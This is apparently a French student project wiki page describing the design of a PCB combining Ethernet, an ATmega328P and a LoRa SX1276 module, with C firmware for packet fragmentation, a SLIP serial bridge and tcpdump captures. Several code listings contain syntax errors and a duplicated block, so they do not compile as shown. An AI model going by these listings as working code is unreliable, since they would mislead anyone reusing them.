Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa avec des résistances de 220 Ω.&lt;br /&gt;
&lt;br /&gt;
Pour la réalisation de la carte, nous utiliserons un adaptateurs de niveaux.&lt;br /&gt;
&lt;br /&gt;
// photo tx0108&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Après configurations des registres pour la modulation LoRa, nous avons alors écrit le code pour gérer l'émission et la réception.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---- Module Server (chargé de l'émission)-----&lt;br /&gt;
&lt;br /&gt;
Les registres sont configurés en mode 'Sleep'.  Ensuite on remplit le buffer FIFO des données à transmettre. &lt;br /&gt;
Pour effectuer une transmission,il faut d'abord faire une demande du mode de transmission (en d'autres mots configurer le registre des modes du sx1276), car lorsque la transmission est effectuée le sx1276 se met automatiquement en mode sleep.&lt;br /&gt;
A la fin de la transmission, l'interruption TXDone est levée.&lt;br /&gt;
&lt;br /&gt;
Voici le code :&lt;br /&gt;
int main() {&lt;br /&gt;
        mode                    = 0x01;&lt;br /&gt;
        Freq_Sel                = 0x00;&lt;br /&gt;
        Power_Sel               = 0x00;&lt;br /&gt;
        Lora_Rate_Sel           = 0x01;&lt;br /&gt;
        BandWide_Sel            = 0x08;&lt;br /&gt;
        Fsk_Rate_Sel            = 0x00;&lt;br /&gt;
        init_printf();&lt;br /&gt;
        spi_init();&lt;br /&gt;
        setup();&lt;br /&gt;
        printf(&amp;quot;####################\nLoRa-Server\n####################\n&amp;quot;);&lt;br /&gt;
        sx1276_Config();&lt;br /&gt;
        int T = 84;&lt;br /&gt;
        int loopCnt = 0;&lt;br /&gt;
        unsigned char paquet[T];&lt;br /&gt;
        unsigned char fragment[MAX_FRAGMENT+1];&lt;br /&gt;
        unsigned char m=0;&lt;br /&gt;
        unsigned char inc;&lt;br /&gt;
        unsigned char i;&lt;br /&gt;
        int left;&lt;br /&gt;
        while(1)&lt;br /&gt;
        {&lt;br /&gt;
                for (i=0;i&amp;lt;T;i++) paquet[i] = (0x61 + i+ loopCnt);&lt;br /&gt;
                sx1276_Mode();&lt;br /&gt;
                left=T;&lt;br /&gt;
                inc=0;&lt;br /&gt;
                while(1){&lt;br /&gt;
                        if(left&amp;gt;=MAX_FRAGMENT) m=MAX_FRAGMENT; else m=left;&lt;br /&gt;
                        left=left-m;&lt;br /&gt;
                        for(i=0;i&amp;lt;m;i++){&lt;br /&gt;
                                fragment[i] = paquet[i+inc*MAX_FRAGMENT];&lt;br /&gt;
                        }&lt;br /&gt;
                        inc++;&lt;br /&gt;
                        fragment[m] = ((left&amp;lt;=0)?0x40:0x00)|inc;&lt;br /&gt;
                         sx1276_LoRaEntryTx(m+1);&lt;br /&gt;
                        sx1276_LoRaTxPacket(fragment,m+1);&lt;br /&gt;
                        //digitalWrite(led,1);&lt;br /&gt;
                        _delay_ms(50);&lt;br /&gt;
                        //printf(&amp;quot;Messages being transmitted\n&amp;quot;);&lt;br /&gt;
                        for (i=0;i&amp;lt;m+1;i++){&lt;br /&gt;
                                printf(&amp;quot;%02x &amp;quot;,fragment[i]);&lt;br /&gt;
                                if(i%16==15) printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                        }&lt;br /&gt;
                        printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                        if(left&amp;lt;=0) break;&lt;br /&gt;
                        digitalWrite(led, 0);&lt;br /&gt;
                        loopCnt++;&lt;br /&gt;
                        //printf(&amp;quot;.............................\n&amp;quot;);&lt;br /&gt;
                       }&lt;br /&gt;
        }&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---- Module Client (chargé de la réception)-----&lt;br /&gt;
&lt;br /&gt;
De la même manière que pour l'émetteur, nous configurons le mode de reception continu.Lorsqu'un paquet est reçu, une interruption RxDone est levée et la pile FIFO peut être remplie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
  mode                  = 0x01;&lt;br /&gt;
  Freq_Sel              = 0x00;&lt;br /&gt;
  Power_Sel             = 0x00;&lt;br /&gt;
  Lora_Rate_Sel         = 0x01;&lt;br /&gt;
  BandWide_Sel          = 0x08;&lt;br /&gt;
  Fsk_Rate_Sel          = 0x00;&lt;br /&gt;
  init_printf();&lt;br /&gt;
  spi_init();&lt;br /&gt;
  setup();&lt;br /&gt;
  BlinkLed();&lt;br /&gt;
  printf(&amp;quot;\n\nHello I am LoRa Client\nWaiting for RX packet\n&amp;quot;);&lt;br /&gt;
  sx1276_Config();&lt;br /&gt;
  sx1276_LoRaEntryRx(MAX_FRAGMENT+1);&lt;br /&gt;
  unsigned char trameEthernet[MAX_ETHERNET];&lt;br /&gt;
 while(1) {&lt;br /&gt;
    unsigned char packet_size;&lt;br /&gt;
    unsigned char taille=0;&lt;br /&gt;
    unsigned char fragment[MAX_FRAGMENT+1];&lt;br /&gt;
    unsigned char i=0;&lt;br /&gt;
    unsigned char j=0;&lt;br /&gt;
    //sx1276_infos();&lt;br /&gt;
        if((packet_size=sx1276_LoRaRxPacket(fragment))!=0){&lt;br /&gt;
        unsigned char var=fragment[packet_size-1];&lt;br /&gt;
        unsigned char num_packet = (var&amp;amp;0x3F);&lt;br /&gt;
        unsigned char dernier_frag = (var&amp;amp;0xC0);&lt;br /&gt;
        int previous=(num_packet-1)*MAX_FRAGMENT;&lt;br /&gt;
        printf(&amp;quot;%d %d\n &amp;quot;,previous,packet_size);&lt;br /&gt;
        for(i=0;i&amp;lt;packet_size-1;i++) trameEthernet[previous+i]=fragment[i];&lt;br /&gt;
        if (dernier_frag==0x40){&lt;br /&gt;
                taille = previous+packet_size;&lt;br /&gt;
                printf(&amp;quot;trame Ethernet (%d) : \n&amp;quot;,taille);&lt;br /&gt;
        if (dernier_frag==0x40){&lt;br /&gt;
                taille = previous+packet_size;&lt;br /&gt;
                printf(&amp;quot;trame Ethernet (%d) : \n&amp;quot;,taille);&lt;br /&gt;
                for (j=0; j&amp;lt;taille; j++) {&lt;br /&gt;
                        printf(&amp;quot;%02x &amp;quot;,trameEthernet[j]);&lt;br /&gt;
                        if(j%16==15) printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                        }&lt;br /&gt;
                printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
      }&lt;br /&gt;
 }&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cependant, la modulation LoRa dépend fortement du facteur d'étalement, de la bande passante, et des données à envoyer. Le facteur d'étalement SF= 6 (spread factor) nécessite une configuration particulière des registres. &lt;br /&gt;
&lt;br /&gt;
NB : En mode LoRa, le nombre maximal d'octets qui peut être envoyé est de 255 octets. Ceci nous a conduit à fragmenter les paquets à envoyer(ou recevoir). Les données seront ensuite assemblés à la réception (côté Ethernet).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fragmentation des paquets LoRa&lt;br /&gt;
&lt;br /&gt;
Nous avons été confrontées au problème de taille maximale que pouvait transmettre le LoRa (nettement inférieure à la taille maximale du paquet Ethernet, pouvant aller jusqu’à 1500 octets).&lt;br /&gt;
&lt;br /&gt;
Le principe est de stocker les fragments de paquets Ethernet (&amp;lt;255 octets) jusqu’à la reconstitution complète du paquet initial.&lt;br /&gt;
&lt;br /&gt;
Principe:&lt;br /&gt;
&lt;br /&gt;
Lorsque le client reçoit un paquet, il examine le dernier octet :&lt;br /&gt;
&lt;br /&gt;
	▪	si IF = 0 : il ne s’agit pas du dernier fragment. Le client stocke le paquet dans un tableau( file d’attente de tous les paquets)&lt;br /&gt;
&lt;br /&gt;
	▪	si IF = 1 : le client place le paquet en fin de file du tableau.&lt;br /&gt;
	&lt;br /&gt;
Le client considère la file d'attente complète quand il a placé le premier et le dernier fragment et tous les fragments intermédiaires vérifiés par leur numéro de fragment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
------------Résultats des tests-------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:Loraemission.png|thumb|upright=1|Emission|400px]]&lt;br /&gt;
|[[Fichier:Lorareception.png|thumb|upright=1|Reception|450px]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
